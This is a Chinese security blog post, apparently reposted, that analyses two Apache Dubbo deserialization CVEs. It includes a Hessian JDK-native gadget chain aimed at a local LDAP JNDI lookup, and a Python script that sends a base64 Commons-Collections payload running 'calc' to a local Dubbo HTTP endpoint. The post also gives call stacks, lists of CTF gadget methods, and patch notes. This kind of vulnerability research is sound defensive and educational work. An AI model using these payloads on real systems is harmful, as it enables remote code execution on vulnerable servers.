org\springframework\beans\BeanWrapperImpl$BeanPropertyHandler

CVE-2021-43279(<= 2.7.14)

  • Apache Dubbo 2.6.x <= 2.6.12
  • Apache Dubbo 2.7.x <= 2.7.14
  • Apache Dubbo 3.0.x <= 3.0.5

测试版本 Dubbo 2.7.13

后反序列化利用,hessian-lite在反序列化抛出异常时会进行对象拼接,进而隐式的触发toString

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

主要的调用链也是readUTF() -> readString() -> except(),只不过上面用的是readObject那进行默认的反序列化然后hash.put();

主体调用栈如下:

toString:129, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:557, AbstractMap (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
expect:3566, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readString:1883, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readUTF:90, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)
decode:111, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)
decode:83, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

Rome 链因为类加载黑名单限制,只能打到 2.7.13 版本。如果有合适的toString类仍可以在 2.7.14 版本进行利用。

原生jdk利用链

测试版本 Dubbo 2.7.14

该漏洞还引出了hessian的jdk原生链。由于和xstream有点类似,可以从其历史链来作参考 :

  • https://x-stream.github.io/CVE-2021-21346.html
  • 如何高效的挖掘Java反序列化利用链?
Rdn$RdnEntry#compareTo()->
    XString#equal()->
        MultiUIDefaults#toString()->
            UIDefaults#get()->
                UIDefaults#getFromHashTable()->
                    UIDefaults$LazyValue#createValue()->
                        SwingLazyValue#createValue()->
                            InitialContext#doLookup()

javax.swing.MultiUIDefaults 不是public类不能被实例化,使用java.awt.datatransfer.MimeTypeParameterList替代

UIDefaults 是继承Hashtable的 ,所以需要toString() -> Hashtable.get()

public class MimeTypeParameterList {
    private Hashtable parameters = new Hashtable();
    //..............
    public String toString() {
        StringBuffer buffer = new StringBuffer();
        buffer.ensureCapacity(this.parameters.size() * 16);
        Enumeration keys = this.parameters.keys();

        while(keys.hasMoreElements()) {
            String key = (String)keys.nextElement();
            buffer.append("; ");
            buffer.append(key);
            buffer.append('=');
            buffer.append(quote((String)this.parameters.get(key)));
        }

        return buffer.toString();

然后就是要找到一个public static方法来导致RCE,参考官方 write up 的几种方法:

some interesting staic funtions

MethodUtils.invoke
0ctf-2022-soln-hessian-onlyjdk
System.setProperty + InitalContext.doLookup @福来阁
DumpBytecode.dumpBytecode + System.load @ty1310 @nese
com.sun.org.apache.xalan.internal.xslt.Process._main @福来阁 @Water Paddler
sun.tools.jar.Main.main
writeup @Cyku
System.setProperty + jdk.jfr.internal.Utils.writeGeneratedAsm @StrawHat

最常见的就是利用System.setProperty + InitalContext.doLookup

SwingLazyValue.createValue 中拿到public static 的方法 然后invoke

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

MimeTypeParameterList#toString()->
    UIDefaults#get()->
    	UIDefaults#getFromHashTable()->
            	SwingLazyValue#createValue()

修改前面poc的恶意对象部分

//only jdk
SwingLazyValue value= new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"ldap://127.0.0.1:1389/yxh3ln"});
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("q",value);
Object o=obj("java.awt.datatransfer.MimeTypeParameterList");
setValue(o,"parameters",uiDefaults);
//序列化
ByteArrayOutputStream brr = new ByteArrayOutputStream();
Hessian2Output output=new Hessian2Output(brr);
output.setSerializerFactory(new SerializerFactory());
output.getSerializerFactory().setAllowNonSerializable(true);
output.writeObject(o);

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

这个利用链可以在 2.7.14 版本利用。这里不过多展开,其他利用链可参考:

  • 0ctf2022 hessian-only-jdk writeup jdk原生链

  • 0ctf/tctf 2022 hessian only jdk 复现和学习

补丁

2.7.15版本升级hessian_lite_version到3.2.12,该版本中移除对String的调用

https://github.com/apache/dubbo-hessian-lite/commit/a35a4e59ebc76721d936df3c01e1943e871729bd#

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

CVE-2019-17564(Http协议)

  • 2.7.0 <= Apache Dubbo <= 2.7.4.1
  • 2.6.0 <= Apache Dubbo <= 2.6.7
  • Apache Dubbo = 2.5.x

测试版本 Dubbo 2.7.3

会直接将 POST请求 body中的数据进行反序列化处理造成了漏洞。

下载https://github.com/apache/dubbo-samples/tree/master/3-extensions/protocol/dubbo-samples-http模块,dubbo版本切换为2.7.3版本,并且加入cc组件依赖进行漏洞调试。

记得加上version 不然切换版本会报错。修改http-provider.xml的配置换一个端口非8080就行,这个端口被Zookeeper占了。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

import requests
import base64

url = "http://127.0.0.1:8081/org.apache.dubbo.samples.http.api.DemoService"
payload = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="
payload = base64.b64decode(payload)

headers = {"Content-Type": "application/x-java-serialized-object"}
res = requests.post(url,headers=headers,data=payload)
print(res.text)

在接收到http请求之后会调用DispatcherServlet#service方法处理请求。

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

使用HttpInvokerServiceExporter 作为skeleton处理http请求

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

contentType是application/x-java-serialized-object类型

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

直接跟进调用直接到RemoteInvocationSerializingExporter#doReadRemoteInvocation方法,这里有个反序列化的点,进行java原生反序列化

dubbo反序列化,JavaWeb安全,dubbo,java,安全,web安全,ctf

主体调用链如下:

doReadRemoteInvocation:144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi)
readRemoteInvocation:121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
readRemoteInvocation:100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handleRequest:79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker)
handle:216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http)
service:61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet)
service:790, HttpServlet (javax.servlet.http)
补丁

将Spring框架的HttpInvokerServiceExporter类换成JsonRpcServer类,实际调用的是其父类JsonRpcBasicServer.hanlde方法,其中没有反序列化的危险操作,数据传输改用json 来完成。

参考

官方文档:Dubbo 开发指南

dubbo源码浅析:默认反序列化利用之hessian2

原创连载|Apache Dubbo 漏洞分析—Apache Dubbo 编解码原理详解

Dubbo 编解码那些事

Dubbo 源码分析

Hessian和Java反序列化问题小结

关于 Dubbo Hessian 反序列化的类不含无参构造函数的问题

Dubbo反序列化漏洞分析集合1

Dubbo2.7.7反序列化漏洞绕过分析

Apache-Dubbo-反序列化漏洞文章来源地址https://www.toymoban.com/news/detail-788828.html

到了这里,关于Javaweb安全——Dubbo 反序列化(一)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 关于Apache Dubbo反序列化漏洞(CVE-2023-23638)的预警提示与对应的Zookeeper版本

            公司在升级dubbo过程中因 zookeeper版本不匹配,导致服务注册和调用出现异常 一、漏洞详情 Apache Dubbo是一款高性能、轻量级的开源Java服务框架。 Apache官方发布安全公告,修复了Apache Dubbo中的一个反序列化漏洞(CVE-2023-23638)。由于Apache Dubbo安全检查存在缺陷,导致可

    2024年02月15日
    浏览(39)
  • Java安全基础之Java序列化与反序列化

    目录 ObjectInputStream 和 ObjectOutputStream java.io.Serializable 自定义序列化和反序列化 Java 的序列化(Serialization)是指将对象转换为字节序列的过程,而反序列化(Deserialization)则是将字节序列转换回对象的过程。 序列化和反序列化通常用于在网络上传输对象或者将对象持久化到文

    2024年04月22日
    浏览(39)
  • java安全(五)java反序列化

    给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 在调用RMI时,发现接收发送数据都是反序列化数据. 例如JSON和XML等语言,在网络上传递信息,都会用到一些格式化数据,大多数处理方法中,JSON和XML支持的数据类型就是基本数据类型,整型、浮点型、字符串、布尔等,如果

    2024年02月10日
    浏览(44)
  • 【java安全】FastJson反序列化漏洞浅析

    0x00.前言 前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持 将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我们需要使用

    2024年02月11日
    浏览(52)
  • Web安全--反序列化漏洞(java篇)

    序列化的意义就在于方便存储和传输,永久的保存到硬盘中,通常保存在一个文件中。 序列化:将java对象转换为字节序列的过程 反序列化:序列化的逆过程,从储存区读出字节序列还原成对象的过程 java应用在对用户的输入没有进行严格的检查时,即传入了不可信的数据做

    2024年02月09日
    浏览(55)
  • Java安全 反序列化(1) URLDNS链原理分析

    开始学习Java反序列化链–URLDNS 请提前了解Java序列化和反序列化,熟悉Java反射机制 1.判断是否存在反序列化的点 2.判断目标是否出网 先上payload 后进行分析 可以触发dns请求 1.新建HashMap类 什么是HashMap: 基于哈希表的实现的 Map 接口 HashMap是什么? 是键值对映射关系的集合,可

    2024年04月09日
    浏览(57)
  • Java安全研究——反序列化漏洞之CC链

    apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人也是初学Java审计不久,技术薄弱,所以在此做一个cc链的学习总结,如有错误还请大佬指出。 若本文有侵权行为,请立即私信,将全面修

    2024年02月04日
    浏览(59)
  • 不安全的反序列化(php&java)及漏洞复现

    A8:2017-不安全的反序列化 A08:2021-Software and Data Integrity Failures 为什么要序列化? 序列化, 将对象的状态信息转换为可以存储或传输的形式的过程 ,这种形式大多为字节流、字符串、json 串。在序列化期间内,将对象当前状态写入到临时或永久性的存储区。以后,就可以通过从

    2024年02月09日
    浏览(55)
  • 【java安全】Log4j反序列化漏洞

    关于Apache Log4j Log4j是Apache的开源项目,可以实现对System.out等打印语句的替代,并且可以结合spring等项目,实现把日志输出到控制台或文件等。而且它还可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码,满足了大多数要求。 就是用来打印日志的 漏洞成因

    2024年02月11日
    浏览(47)
  • Java安全之反序列化回显与内存码

    import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Modifier; import java.util.ArrayList; @WebServlet(“/demoServlet”) public class demoServlet extends HttpServlet { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletEx

    2024年04月15日
    浏览(35)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包